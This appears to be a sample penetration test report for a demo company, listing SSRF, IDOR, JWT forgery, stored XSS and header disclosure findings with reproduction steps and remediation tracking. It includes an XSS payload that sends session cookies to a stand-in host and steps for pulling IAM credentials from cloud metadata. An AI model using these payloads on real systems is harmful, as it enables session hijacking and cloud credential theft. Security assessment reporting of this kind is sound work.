DeepMantis

Penetration Test Report

Acme Demo Co — demo.example.com, api.demo.example.com

Client:	Acme Demo Co
Tester:	DeepMantis
Date:	2026-05-08
Classification:	CONFIDENTIAL

Document Control

Field	Value
Report Title	Penetration Test Report — Acme Demo Co
Document Version	2.0
Classification	Confidential
Engagement Period	2026-05-03 to 2026-05-06
Report Date	2026-05-08
Prepared By	DeepMantis Autonomous Platform
Reviewed By	Jamin Mahmood-Wiebe
Methodology	NIST SP 800-115, OWASP Web Security Testing Guide v4.2, PTES (Penetration Testing Execution Standard)
Retention	Aligned with client retention policy

Distribution List

- Acme Demo Co — CISO
- Acme Demo Co — Head of Engineering
- Acme Demo Co — External Auditor (Schellman)
- DeepMantis — Engagement File

Revision History

Version	Date	Author	Summary
1.0	2026-05-08	DeepMantis Autonomous Platform	Initial issue
2.0	2026-05-08	DeepMantis Autonomous Platform	First retest after Q3 remediation cycle. F-002 verified fixed; F-004 retest failed (still vulnerable).

Independence Statement

DeepMantis operated as an independent third-party assessor with no operational, financial, or reporting relationship to the engineering or operations functions of Acme Demo Co. Testing was performed by the DeepMantis Autonomous Platform under continuous human-in-the-loop oversight, with all findings independently verified by the named reviewer before inclusion. All testing was conducted under written authorization (Master Services Agreement, dated 2026-04-10).

Handling Instructions

This document is classified **Confidential**. It contains information about security weaknesses that could be used to compromise Acme Demo Co. Distribution is restricted to the recipients listed above. Do not forward, copy, or quote without written authorization. Store at rest with encryption equivalent to AES-256. Destroy securely when no longer required.

Table of Contents

Document Control

1. Executive Summary

2. Scope, Methodology and Limitations

3. Findings Summary

4. Detailed Findings

4.1 Critical Findings

4.2 High Findings

4.3 Medium Findings

4.4 Low Findings

5. Observations

6. Positive Security Findings

7. Remediation Roadmap (POA&M)

8. Retest Evidence

9. Compliance Mapping

9.1 SOC 2 (AICPA TSC)

9.2 ISO/IEC 27001:2022 (Annex A)

10. Appendix

1. Executive Summary

DeepMantis was engaged to perform an authorized penetration test of **Acme Demo Co**, focusing on demo.example.com, api.demo.example.com. Testing was conducted between **2026-05-03** and **2026-05-06** using the DeepMantis Autonomous Pentest Platform, applying methodology from NIST SP 800-115, OWASP Web Security Testing Guide v4.2, PTES (Penetration Testing Execution Standard). The engagement combined automated scanning, manual exploitation, and AI-assisted analysis under written authorization.

Finding Summary: 5 findings across 2 target(s).

Severity	Count
CRITICAL	1
HIGH	2
MEDIUM	1
LOW	1

Most Dangerous Findings:

- **F-SAMPLE-001 Server-Side Request Forgery in Image Proxy** (CVSS 9.1)
  The /api/proxy endpoint fetches arbitrary URLs supplied via the `url` parameter with no allowlist. An unauthenticated attacker can pivot into the internal network and reach AWS instance metadata (169.254.169.254), retrieve IAM role credentials, and subsequently enumerate S3 bu...

- **F-SAMPLE-002 IDOR on /api/v1/invoices/{id}** (CVSS 8.2)
  The invoice endpoint trusts the supplied numeric ID without verifying that the requesting user owns the invoice. Sequential enumeration returns full PII (name, address, payment amounts) for arbitrary tenants.

- **F-SAMPLE-003 JWT 'alg=none' Accepted by Auth Gateway** (CVSS 7.5)
  The auth gateway accepts JWTs signed with `alg=none`, allowing any user to forge an arbitrary subject claim and impersonate another tenant.

Changes Since Previous Report

This is a retest report (**v2.0**). The diff below summarizes how each finding's state has changed since the previous report **v1.0** (dated 2026-05-08).

Findings remediated and verified · 1

- **F-SAMPLE-002** HIGH IDOR on /api/v1/invoices/{id} [Retested Fixed — 2026-05-05]

Findings still open from previous report · 3

- **F-SAMPLE-001** CRITICAL Server-Side Request Forgery in Image Proxy [Pending]
- **F-SAMPLE-003** HIGH JWT 'alg=none' Accepted by Auth Gateway [Pending]
- **F-SAMPLE-005** LOW Server Version Disclosure via X-Powered-By [Pending]

Remediation attempts that failed retest · 1

- **F-SAMPLE-004** MEDIUM Stored XSS in Comment Field [Retested Still Vulnerable — 2026-05-04]

New findings discovered during retest · 0

(none)

Findings withdrawn since previous report · 0

(none)

2. Scope, Methodology and Limitations

Testing Period: 2026-05-03 to 2026-05-06

Testing Type: Grey-box. Authenticated and unauthenticated testing using documented test accounts where provided.

Authorization: Written authorization from Acme Demo Co. Rules of Engagement on file with the DeepMantis engagement record.

2.1 Scope Definition

Category	Details
Primary Targets	demo.example.com api.demo.example.com

2.2 Test Accounts

Role	Domain	Notes
free_user	demo.example.com	Free tier user (canonical victim)
pro_user	demo.example.com	Pro tier user (attacker)
tenant_admin	demo.example.com	Tenant admin role

2.3 Methodology

Testing followed the published methodology in **NIST SP 800-115, OWASP Web Security Testing Guide v4.2, PTES (Penetration Testing Execution Standard)**. NIST SP 800-115 §8 frames the post-testing requirements applied to this report (root cause analysis, mitigation recommendations covering both technical and process controls, and a Plan of Action and Milestones tracking remediation closure).

- **Reconnaissance:** Subdomain enumeration, service fingerprinting, technology stack identification, API endpoint discovery
- **Vulnerability Scanning:** Template-based scanning, custom scanner modules, authenticated and unauthenticated testing
- **Exploitation:** Manual exploitation with iterative payload refinement, attack chain analysis, post-exploitation impact assessment
- **AI-Specific Testing:** Prompt injection, system prompt extraction, RAG poisoning, tool abuse, error handling analysis (where applicable)

2.4 Tools Used

DeepMantis Autonomous Pentest Platform, dalfox, ffuf, httpx, manual, nuclei, sqlmap, subfinder

2.5 Limitations

- This is a point-in-time assessment. Findings reflect the state of in-scope assets during the testing window stated above. Subsequent code changes, infrastructure changes, or third-party dependency updates may introduce new vulnerabilities not covered by this report.
- Denial-of-service techniques, destructive payloads, and any actions that would modify or delete production data were explicitly out of scope. Where exploitation is demonstrated, it uses non-destructive proof-of-concept payloads only.
- No actual customer data was exfiltrated, persisted, or shared. Where data exposure is demonstrated, evidence is limited to row counts, schema, or controlled test-account records owned by the assessment team.
- Out-of-scope assets, third-party services not covered by the Rules of Engagement, and physical or social-engineering attack surfaces were not assessed.

3. Findings Summary

ID	Sev.	CVSS	Title	Target	Status
F-SAMPLE-001	CRIT	9.1	Server-Side Request Forgery in Image Proxy	demo.example.com	Exploited
F-SAMPLE-002	HIGH	8.2	IDOR on /api/v1/invoices/{id}	demo.example.com	Exploited
F-SAMPLE-003	HIGH	7.5	JWT 'alg=none' Accepted by Auth Gateway	demo.example.com	Exploited
F-SAMPLE-004	MED	6.1	Stored XSS in Comment Field	demo.example.com	Exploited
F-SAMPLE-005	LOW	3.7	Server Version Disclosure via X-Powered-By	demo.example.com	Exploited

Status terminology

Exploited	Vulnerability confirmed with a working proof-of-concept that demonstrates real impact (data accessed, code executed, auth bypassed). Submission-ready.
Confirmed	Vulnerability verified to exist and reproducible, but a full end-to-end exploitation PoC was not produced (e.g. detection with strong evidence but no executing payload).
Parked	Real vulnerability identified, but with insufficient impact proof and no remaining actionable path to obtain it. Shelved rather than submitted; revisited if attack surface changes (new endpoint, scope expansion, paired primitive discovered).
Dropped	Behavior investigated but determined to be expected, by-design, or otherwise non-security-relevant. The vendor would say “working as intended.” Removed from active tracking.
Informational	Hardening recommendation or low-impact observation. Not an exploitable vulnerability on its own, but worth noting for defense-in-depth.

4. Detailed Findings

4.1 Critical Findings

F-SAMPLE-001 | CRITICAL | CVSS 9.1

Server-Side Request Forgery in Image Proxy

Target: demo.example.com · **Type:** ssrf · **CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

The /api/proxy endpoint fetches arbitrary URLs supplied via the `url` parameter with no allowlist. An unauthenticated attacker can pivot into the internal network and reach AWS instance metadata (169.254.169.254), retrieve IAM role credentials, and subsequently enumerate S3 buckets in the account.

Impact

An attacker could force the server to make requests to internal services, potentially accessing cloud metadata, internal APIs, or sensitive infrastructure.

Reproduction Steps

- Authenticate as any user (test account: pro_user).
- Send GET /api/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Observe the response contains the IAM role name.
- Send GET /api/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
- Observe AccessKey, SecretKey, Token in response.
- Use captured credentials with `aws s3 ls` to enumerate buckets — confirms cross-tenant reachability.

Root Cause Analysis

The image proxy was added in 2024 to support user-uploaded avatar URLs. The implementer trusted the URL parameter without applying an allowlist or blocking RFC1918 / link-local addresses. The control gap is in the request layer; the cloud IAM role scope is appropriately broad for production but magnifies the impact of the application-layer flaw.

Business Impact

Compromise of cloud infrastructure leads to (a) exposure of all customer data in S3, (b) lateral movement to internal services not exposed to the internet, and (c) full account takeover via the IAM role's CreateAccessKey permission. Estimated blast radius: complete loss of confidentiality and integrity of every tenant on the platform.

Audit Metadata

Field	Value
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Risk Treatment	Mitigate (pending client confirmation)
Remediation Owner	Awaiting client assignment
Remediation Due Date	Recommended: 2026-05-09 (Critical SLA: 7 days)
Retest Status	Pending
Retest Date	—
SOC 2 (TSC)	CC6.1, CC6.6, CC7.1
ISO 27001 Annex A	A.8.8, A.8.20, A.8.22

CWE: CWE-918 — SSRF | **OWASP:** WSTG-INPV-19 — Testing for Server-Side Request Forgery

4.2 High Findings

F-SAMPLE-002 | HIGH | CVSS 8.2

IDOR on /api/v1/invoices/{id}

Target: demo.example.com · **Type:** idor · **CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Description

The invoice endpoint trusts the supplied numeric ID without verifying that the requesting user owns the invoice. Sequential enumeration returns full PII (name, address, payment amounts) for arbitrary tenants.

Reproduction Steps

- Authenticate as Test Account A (free_user).
- Create an invoice; note its ID, e.g. 1042.
- Authenticate as Test Account B (pro_user) in a second browser session.
- Send GET /api/v1/invoices/1042 with Account B's session token.
- Observe full invoice contents belonging to Account A.
- Confirmed via redacted side-by-side response capture.

Root Cause Analysis

Invoice route handler reads the path parameter and queries the database without a tenant-scoping clause. The ORM model exposes invoice rows globally; tenant isolation was assumed to be enforced at the route level but the assumption was never tested.

Business Impact

Direct breach of confidentiality across every customer tenant. For HIPAA-regulated customers, this constitutes potential ePHI exposure under §164.402 and may trigger breach notification obligations. Regulatory exposure: GDPR Art. 32, HIPAA §164.312(a)(1), state breach laws.

Audit Metadata

Field	Value
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Risk Treatment	Mitigate
Remediation Owner	API Team — S. Patel
Remediation Due Date	2026-06-01
Retest Status	Retested — Fixed
Retest Date	2026-05-05
SOC 2 (TSC)	CC6.1, CC6.3, CC7.1
ISO 27001 Annex A	A.5.15, A.8.3

CWE: CWE-639 — Authorization Bypass via User-Controlled Key | **OWASP:** WSTG-ATHZ-04 — Testing for Insecure Direct Object References

---

F-SAMPLE-003 | HIGH | CVSS 7.5

JWT 'alg=none' Accepted by Auth Gateway

Target: demo.example.com · **Type:** jwt_alg_confusion · **CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

The auth gateway accepts JWTs signed with `alg=none`, allowing any user to forge an arbitrary subject claim and impersonate another tenant.

Reproduction Steps

- Sign in normally and capture a valid JWT.
- Decode the JWT and replace the `alg` header with 'none'; clear the signature segment.
- Modify the `sub` claim to a different user ID (test account B's ID, 9982).
- Send the forged token in the Authorization header.
- Observe successful access to Account B's /dashboard endpoint.

Root Cause Analysis

The gateway uses a popular JWT library with default algorithm validation disabled. The configuration `verify_signature: false` was set during a 2023 debugging session and never re-enabled. No automated test asserts that `alg=none` tokens are rejected.

Business Impact

Complete authentication bypass. An attacker who knows any victim's user ID can issue forged tokens granting full session privileges. No password, no MFA, no rate limit applies. Treats every account as if it had no credentials at all.

Audit Metadata

Field	Value
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Risk Treatment	Mitigate (pending client confirmation)
Remediation Owner	Awaiting client assignment
Remediation Due Date	Recommended: 2026-06-01 (High SLA: 30 days)
Retest Status	Pending
Retest Date	—
SOC 2 (TSC)	CC6.1, CC6.7
ISO 27001 Annex A	A.8.24

CWE: CWE-347 — Improper Verification of Cryptographic Signature | **OWASP:** WSTG-ATHN-09 — Testing JWT Authentication

4.3 Medium Findings

F-SAMPLE-004 | MEDIUM | CVSS 6.1

Stored XSS in Comment Field

Target: demo.example.com · **Type:** stored_xss · **CVSS:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Description

User-supplied comment text is rendered without HTML escaping in the admin moderation panel. A crafted payload executes JS in the moderator's session.

Reproduction Steps

- Submit a comment containing `<img src=x onerror=fetch('https://oob.test/?c='+document.cookie)>`
- Wait for moderator to open the moderation queue.
- Observe OOB callback received at oob.test with moderator's session cookie attached.

Root Cause Analysis

The moderation panel renders comment HTML inside a trusted-content frame using `dangerouslySetInnerHTML` for backwards compatibility with a legacy formatting parser. The customer-facing renderer correctly escapes; only the internal review path is affected.

Business Impact

Privilege escalation from any commenter to moderator. Moderators have soft-delete capability across all user content and can read flagged messages, introducing a clear path to disclosure of user-private content.

Audit Metadata

Field	Value
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Risk Treatment	Mitigate
Remediation Owner	Frontend Team — J. Williams
Remediation Due Date	2026-07-01
Retest Status	Retested — Still Vulnerable
Retest Date	2026-05-04
SOC 2 (TSC)	CC6.1, CC6.6, CC7.1
ISO 27001 Annex A	A.8.8, A.8.28

CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation | **OWASP:** WSTG-INPV-02 — Testing for Stored Cross Site Scripting

4.4 Low Findings

F-SAMPLE-005 | LOW | CVSS 3.7

Server Version Disclosure via X-Powered-By

Target: demo.example.com · **Type:** info_disclosure · **CVSS:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Description

Responses include `X-Powered-By: Express/4.17.1`, exposing framework version. Useful as recon for an attacker but not directly exploitable.

Reproduction Steps

- Send GET / to demo.example.com.
- Inspect response headers; observe X-Powered-By: Express/4.17.1.

Root Cause Analysis

Default Express middleware. Disabled by setting `app.disable('x-powered-by')` — a one-line fix that was missed during the framework upgrade in early 2025.

Business Impact

Reduced cost for an attacker to identify applicable exploits. No direct compromise but increases the speed and quality of reconnaissance against the platform. Consistent with defense-in-depth hardening expectations from auditors.

Audit Metadata

Field	Value
CVSS Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Risk Treatment	Accept
Remediation Owner	Platform Engineering — A. Rodriguez
Remediation Due Date	2026-08-01
Retest Status	Pending
Retest Date	—
SOC 2 (TSC)	CC6.1, CC7.1
ISO 27001 Annex A	A.5.10, A.8.10

CWE: CWE-200 — Exposure of Sensitive Information | **OWASP:** WSTG-INFO-08 — Fingerprint Web Application Framework

5. Observations (Not Vulnerabilities)

The following items were noted during testing. They are not vulnerabilities but may warrant review for security hardening or architectural improvement.

• **demo.example.com:** TLS 1.3 enforced across all in-scope hosts; HSTS preload confirmed. Certificate management appears mature.

• **demo.example.com:** Customer-facing dashboard uses strict CSP with nonce-based script loading — blocks the majority of reflected XSS classes by default.

6. Positive Security Findings

The following tests were performed and the target was found to be secure.

Test	Target	Result
Admin endpoints correctly enforce role-b	demo.example.com	ased authorization on the user management API.
Rate limiting on /api/auth/login is well	demo.example.com	tuned (5 attempts / 15 min) and resists credential stuffing.

7. Remediation Roadmap (POA&M)

This Plan of Action and Milestones tracks each finding's remediation owner, target completion date, and risk-treatment decision per NIST SP 800-115 §8.2. Closure of items in this table is verified in the Retest Evidence section.

Recommended remediation roadmap prioritizes the two critical findings for a 30-day window, mediums for 60 days, and lows for 90 days. See the POA&M; table below for owner/status.

ID	Sev.	Title	Treatment	Owner	Due Date	Retest
F-SAMPLE-001	CRIT	Server-Side Request Forgery in Image Proxy	Mitigate	Awaiting client	2026-05-09*	Pending
F-SAMPLE-002	HIGH	IDOR on /api/v1/invoices/{id}	Mitigate	API Team — S. Patel	2026-06-01	Retested — Fixed
F-SAMPLE-003	HIGH	JWT 'alg=none' Accepted by Auth Gateway	Mitigate	Awaiting client	2026-06-01*	Pending
F-SAMPLE-004	MED	Stored XSS in Comment Field	Mitigate	Frontend Team — J. Williams	2026-07-01	Retested — Still Vulnerable
F-SAMPLE-005	LOW	Server Version Disclosure via X-Powered-By	Accept	Platform Engineering — A. Rodriguez	2026-08-01	Pending

* Dates marked with an asterisk are pentester-recommended targets based on industry-standard SLAs (Critical: 7d, High: 30d, Medium: 60d, Low: 90d from engagement end). Dates without asterisks are client-committed deadlines.

Awaiting client entries indicate the client had not yet assigned an owner at the time of report delivery. These are tracked in the client's internal remediation system (Jira / risk register / GRC tool) as the authoritative ownership record.

Treatment legend: *Mitigate* — apply control to reduce risk. *Accept* — formally accept residual risk. *Transfer* — shift risk via insurance / contractual means. *Avoid* — remove the risky function entirely.

8. Retest Evidence

Each finding marked *Mitigate* in the POA&M is retested after the client reports remediation complete. NIST SP 800-115 §8.3 requires that *"retesting the system will validate that the mitigation actions have been completed"*. The table below records the outcome of each retest.

Finding ID	Sev.	Title	Retest Status	Retest Date	Outcome
F-SAMPLE-001	CRIT	Server-Side Request Forgery in Image Proxy	Pending	—	Awaiting client remediation
F-SAMPLE-002	HIGH	IDOR on /api/v1/invoices/{id}	Retested Fixed	2026-05-05	Verified — remediation effective
F-SAMPLE-003	HIGH	JWT 'alg=none' Accepted by Auth Gateway	Pending	—	Awaiting client remediation
F-SAMPLE-004	MED	Stored XSS in Comment Field	Retested Still Vulnerable	2026-05-04	Verified — remediation INSUFFICIENT
F-SAMPLE-005	LOW	Server Version Disclosure via X-Powered-By	Pending	—	Awaiting client remediation

Retest summary: 1 verified fixed · 1 still vulnerable · 3 pending client remediation.

9. Compliance Mapping

This section maps each finding to the security controls it implicates across SOC 2 (AICPA Trust Services Criteria) and ISO/IEC 27001:2022 (Annex A). Mappings are derived from each finding's CWE identifier using the published crosswalks documented in *docs/research/2026-05-07-pentest-audit-evidence-requirements.md*. Auditors should review the per-finding **Audit Metadata** tables in §4 alongside the aggregated coverage summaries below.

9.1 SOC 2 (AICPA Trust Services Criteria)

SOC 2 does not directly mandate penetration testing in the criteria text. However, the AICPA Trust Services Criteria **CC4.1** (Monitoring Activities) explicitly names penetration testing as an example evaluation method, and **CC7.1** (System Operations — Vulnerability Identification) uses the test results as primary evidence that the entity identifies and addresses configuration weaknesses, design flaws, and logic vulnerabilities. The mapping below shows which TSC criteria each finding implicates and serves as evidence for the auditor's evaluation of those controls.

Control	Title	Findings
CC6.1	Logical Access — Restrict logical access to information assets	F-SAMPLE-001, F-SAMPLE-002, F-SAMPLE-003, F-SAMPLE-004, F-SAMPLE-005
CC6.3	Logical Access — Authorize access based on roles/duties	F-SAMPLE-002
CC6.6	Logical Access — Boundary protection (network controls)	F-SAMPLE-001, F-SAMPLE-004
CC6.7	Logical Access — Protection of data in transit and at rest	F-SAMPLE-003
CC7.1	System Operations — Vulnerability identification	F-SAMPLE-001, F-SAMPLE-002, F-SAMPLE-004, F-SAMPLE-005

9.2 ISO/IEC 27001:2022 (Annex A)

ISO/IEC 27002:2022 implementation guidance for control **A.8.8** (Management of Technical Vulnerabilities) states that organizations should *"perform periodic, documented penetration tests, either by internal staff or by an authenticated third party."* This report is the documented test artifact. The mapping below ties each finding to additional Annex A controls implicated by the vulnerability class — auditors performing the surveillance or recertification audit can use this table to verify that remediation closes the listed controls in the Statement of Applicability.

Control	Title	Findings
A.5.10	Acceptable use of information and other associated assets	F-SAMPLE-005

Control	Title	Findings
A.5.15	Access control	F-SAMPLE-002
A.8.10	Information deletion	F-SAMPLE-005
A.8.20	Network security	F-SAMPLE-001
A.8.22	Segregation of networks	F-SAMPLE-001
A.8.24	Use of cryptography	F-SAMPLE-003
A.8.28	Secure coding	F-SAMPLE-004
A.8.3	Information access restriction	F-SAMPLE-002
A.8.8	Management of technical vulnerabilities	F-SAMPLE-001, F-SAMPLE-004

10. Appendix

10.1 Test Account Details

Role	Domain	Tier	Notes
free_user	demo.example.com	free	Free tier user (canonical victim)
pro_user	demo.example.com	pro	Pro tier user (attacker)
tenant_admin	demo.example.com	admin	Tenant admin role

10.2 Tools Used

Tool	Purpose
DeepMantis Autonomous Pentest Platform	Orchestration, scanning, analysis, report generation
dalfox	Security testing
ffuf	Security testing
httpx	Security testing
manual	Security testing
nuclei	Security testing
sqlmap	Security testing

Tool	Purpose
subfinder	Security testing

10.3 Detected Technology Stack

Technology	Category	Source
nginx/1.25.3	server	whatweb
Node.js/20.10	runtime	headers
Express/4.17	framework	headers
PostgreSQL/15	database	error-leak
Cloudflare	cdn	dns
AWS/us-east-1	infrastructure	ip-asn